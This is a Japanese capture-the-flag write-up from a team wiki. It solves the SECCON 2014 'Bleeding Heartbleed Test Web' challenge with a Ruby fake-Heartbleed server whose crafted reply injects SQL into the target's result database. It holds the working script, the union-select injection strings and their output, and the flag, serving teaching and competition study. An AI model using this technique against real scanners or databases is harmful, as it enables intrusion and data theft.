ログイン
編集不可のページディスカッション情報添付ファイル
CTF/Writeup/SECCON 2014 Quals Online Winter/Bleeding Heartbleed Test Web

MMA

Bleeding "Heartbleed" Test Web (Web 300pts)

任意のサイトにheartbleedの脆弱性の有無を行えるサイトが与えられる。

メッセージの特徴から、https://gist.github.com/sh1n0b1/10100394 のスクリプトを利用してチェックをしていることが分かる。 また、HTMLのコメントからDBに結果を追加していることが分かる。

そこで、チェックのスクリプトからHeartbleed脆弱性がありと判断されるようなサーバーを作り、送信する文字列でSQLインジェクションを行なった。

   1 require 'socket'
   2 Thread.new do 
   3   TCPServer.open '0.0.0.0', '8080' do |socket|
   4     s = socket.accept
   5     s.print [22,0,2].pack('Cnn')+ "\x0E\x0E"
   6     s.flush
   7     s.print [24,0,ARGV[0].size].pack('Cnn')+ ARGV[0]
   8     s.flush
   9   end
  10 end
  11 sleep 0.5
  12 system "curl 'http://bleeding.pwn.seccon.jp/?ip=133.242.155.176&port=8080'"

$ ruby heartbleed.rb "' union select sql from sqlite_master limit 1 offset 1; -- "
...
<!-- DEBUG: INSERT OK. TIME=CREATE TABLE ssFLGss ( flag ) -->
...

$ ruby heartbleed.rb "' union select flag from ssFlGss; -- "
...
<!-- DEBUG: INSERT OK. TIME=SECCON{IknewIt!SQLiteAgain!!!} -->
...

CTF/Writeup/SECCON 2014 Quals Online Winter/Bleeding Heartbleed Test Web (最終更新日時 2014-12-07 19:59:54 更新者 nomeaning)